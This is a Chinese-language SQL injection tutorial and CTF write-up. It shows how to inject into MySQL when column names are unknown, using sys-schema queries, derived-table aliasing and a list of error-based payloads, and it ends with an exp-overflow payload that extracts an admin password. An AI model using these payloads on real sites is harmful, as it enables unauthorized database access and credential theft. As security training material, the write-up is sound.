0x01 适用场景

    1. 未知列名的情况下,子查询注入(设置别名),实现联合查询注入
    1. 未知列名的情况下,子查询配合报错注入,实现布尔盲注和时间盲注

0x02 实际案例

(1) 第一种情况:

  • 限制条件:

    • 过滤了OR关键字,information_schema表不能利用

正常情况下我们在联合查询注入时,通过判断列长度,以及显示位后,构造联合查询语句,查询MySQL的 information_schema 表来查询我们需要的数据,当以存在这种情况,可以通过:

(1). 查询sys数据库进行数据查询,使用sys数据库需要满足:

     1.数据库版本大于等于5.7
     
     2.数据库用户为root@localohost用户

Payload:

查询所有的库:

SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;

查询指定库的表(若无则说明此表从未被访问):

SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='loecho' GROUP BY table_name;
SELECT table_name FROM  sys.x$schema_flattened_keys WHERE table_schema='loecho' GROUP BY table_name;

统计所有访问过的表次数:库名,表名,访问次数

select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;

查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)

SELECT user,db,command,current_statement,last_statement,time FROM sys.session;

查看所有曾连接数据库的IP,总连接次数

SELECT host,total_connections FROM sys.host_summary;

(2). 通过构造虚拟表的方式,来查询数据,也就是我们说的子查询注入,数据如下

Snipaste_2020-06-22_18-57-42

具体步骤如下:

  1. 构造一个虚拟表
Snipaste_2020-06-22_19-00-43
  1. 查询虚拟表的内容,就会查到我们需要的数据
Snipaste_2020-06-22_19-08-40
  1. 可以发现我们构造的数据第一列为用户名,第二列为密码,我们构造查询得到所有密码
Snipaste_2020-06-22_19-12-05

4 . 实现我们的查询效果,同理第一列为用户名,在实际测试中,列名我们需要通过自己构造条件来判断,如果列数过多则会报错

(2) 第二种情况:

限制条件:

  • 特殊盲注,构造语句后只会显示 Mysql Error和其他情况
  • 特殊盲注,手工构造语句,发现回显不同来构造盲注
  • 特殊盲注,mysql error的前提下延时与不延时

实际案例:

2019全国大学生安全竞赛 Web题目:全宇宙最简单的的SQL

Snipaste_2020-06-22_19-53-51

本题突破点:

  • username 存在注入点

  • 过滤了 or ||

  • 当最终拼接语句无错误时,无论结果如何均为 登录失败

  • 当最终语句有错时,返回为 数据库操作失败

所以我们构造Paylaod如下:

0.) SQL注入报错函数

报错注入只适用于没有自定义错误页面,或直接返回mysql报错信息的情况下,所需条件较为苛刻,但利用难度低。 以下都以获取user为例:

1.1.1. count()、rand()导致group by报错

测试方法

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

1.1.2. updatexml报错

测试方法

and updatexml(1,concat(0x7e,user()),1)

注意事项

适用于MySQL 5.1.5及以后的版本

1.1.3. extractvalue报错

测试方法

and extractvalue(1,concat(0x7e,user()))

注意事项

适用于MySQL 5.1.5及以后的版本

1.1.4. 其他函数

测试方法
and geometrycollection((select * from(select * from(select user())a)b))
and multipoint((select * from(select * from(select user())a)b))
and polygon((select * from(select * from(select user())a)b))
and multipolygon((select * from(select * from(select user())a)b))
and linestring((select * from(select * from(select user())a)b))
and multilinestring((select * from(select * from(select user())a)b))
and exp(~(select * from(select user())a))

1). 分析一下,通过异或来判断真假,因为过滤or关键字,不能查询information_schema表

'^(select exp(~( 查询语句 )*18446744073709551615)))#&password=admin

2). 而且不知道列名,完成虚拟表构造,查询虚拟表c 的 b列就是,后面查询User表的密码

(select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) )

'^(select exp(~((select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin

3). 最后注入得到密码,进行后续操作,得到Flag